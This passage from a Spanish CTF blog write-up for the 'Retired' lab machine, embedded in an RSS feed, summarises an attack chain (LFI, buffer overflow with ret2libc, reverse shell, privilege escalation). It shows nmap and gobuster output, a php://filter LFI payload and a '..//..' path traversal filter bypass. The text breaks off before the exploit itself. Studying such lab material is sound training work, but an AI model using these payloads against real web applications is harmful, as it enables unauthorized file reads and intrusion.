&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80f2-8555-f8137301f84c.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Retired (Medium)</title><link>https://synacklabs.github.io/posts/retired/</link><pubDate>Fri, 16 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/retired/</guid><description>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-8892-ef83924f719e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un &lt;em&gt;stack-based buffer overflow&lt;/em&gt; y, siendo sinceros, no soy muy fan del &lt;em&gt;buffer overflow&lt;/em&gt;, así que me obligó a ir con mucho más cuidado de lo normal.&lt;/p&gt;
&lt;p&gt;A grandes rasgos, la intrusión va así:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumeración web y descubrimiento de un &lt;strong&gt;LFI&lt;/strong&gt; en &lt;code&gt;page=&lt;/code&gt; usando &lt;code&gt;php://filter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bypass del filtro de &lt;em&gt;path traversal&lt;/em&gt; por cómo usan &lt;code&gt;str_replace&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a &lt;strong&gt;BOF&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Explotación con &lt;strong&gt;Ret2Libc&lt;/strong&gt; (por NX) y obtención de &lt;em&gt;reverse shell&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; abusando de un &lt;strong&gt;backup service&lt;/strong&gt; con &lt;code&gt;zip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;root&lt;/code&gt; abusando de &lt;strong&gt;binfmt_misc&lt;/strong&gt; mediante un helper con &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-inicial"&gt;Enumeración inicial&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.4p1 Debian &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3072&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;77&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;57&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;76&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;81&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e4&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;69&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;94&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;dd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2 (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a8&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;66&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;6b (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Agency - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Requested resource was /index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/f635da96-fd19-4a1e-9a45-e863f4a7c6b0.png" alt="Imagen del post"&gt;&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-8892-ef83924f719e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un &lt;em&gt;stack-based buffer overflow&lt;/em&gt; y, siendo sinceros, no soy muy fan del &lt;em&gt;buffer overflow&lt;/em&gt;, así que me obligó a ir con mucho más cuidado de lo normal.&lt;/p&gt;
&lt;p&gt;A grandes rasgos, la intrusión va así:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumeración web y descubrimiento de un &lt;strong&gt;LFI&lt;/strong&gt; en &lt;code&gt;page=&lt;/code&gt; usando &lt;code&gt;php://filter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bypass del filtro de &lt;em&gt;path traversal&lt;/em&gt; por cómo usan &lt;code&gt;str_replace&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a &lt;strong&gt;BOF&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Explotación con &lt;strong&gt;Ret2Libc&lt;/strong&gt; (por NX) y obtención de &lt;em&gt;reverse shell&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; abusando de un &lt;strong&gt;backup service&lt;/strong&gt; con &lt;code&gt;zip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;root&lt;/code&gt; abusando de &lt;strong&gt;binfmt_misc&lt;/strong&gt; mediante un helper con &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-inicial"&gt;Enumeración inicial&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.4p1 Debian &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3072&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;77&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;57&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;76&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;81&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e4&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;69&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;94&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;dd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2 (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a8&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;66&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;6b (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Agency - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Requested resource was /index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/f635da96-fd19-4a1e-9a45-e863f4a7c6b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En la web, por defecto no hay mucho, así que toca hacer fuzzing.&lt;/p&gt;
&lt;h3 id="fuzzing-y-descubrimiento-de-betahtml"&gt;Fuzzing y descubrimiento de &lt;code&gt;beta.html&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Encontramos un &lt;code&gt;beta.html&lt;/code&gt; en el fuzzing de directorios.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gobuster dir -u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.227
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -w /usr/share/dirb/wordlists/common.txt -x php,html -q
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/assets (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;301&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;162&lt;/span&gt;] [--&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.&lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;/assets/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/beta.html (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4144&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/css (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;301&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;162&lt;/span&gt;] [--&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.71.&lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;/css/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html (Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;) [Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11414&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/896adb3b-a31f-4d3d-a679-7063af09df73.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="lfi-en-page-con-phpfilter"&gt;LFI en &lt;code&gt;page=&lt;/code&gt; con &lt;code&gt;php://filter&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Vemos que en el endpoint principal hay un parámetro modificable &lt;code&gt;page=&lt;/code&gt;. El comportamiento sugiere LFI usando &lt;code&gt;php://filter/read=convert.base64-encode/resource=...&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/41fedc4e-e723-4e3c-9a48-5daab50fb187.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al leer &lt;code&gt;default.html&lt;/code&gt; en Base64, simplemente decodificando obtenemos el contenido en texto claro.&lt;/p&gt;
&lt;p&gt;Hay un filtro que intenta evitar el típico &lt;code&gt;../..&lt;/code&gt;, pero se puede bypassear con doble barra &lt;code&gt;..//..&lt;/code&gt;.&lt;/p&gt;
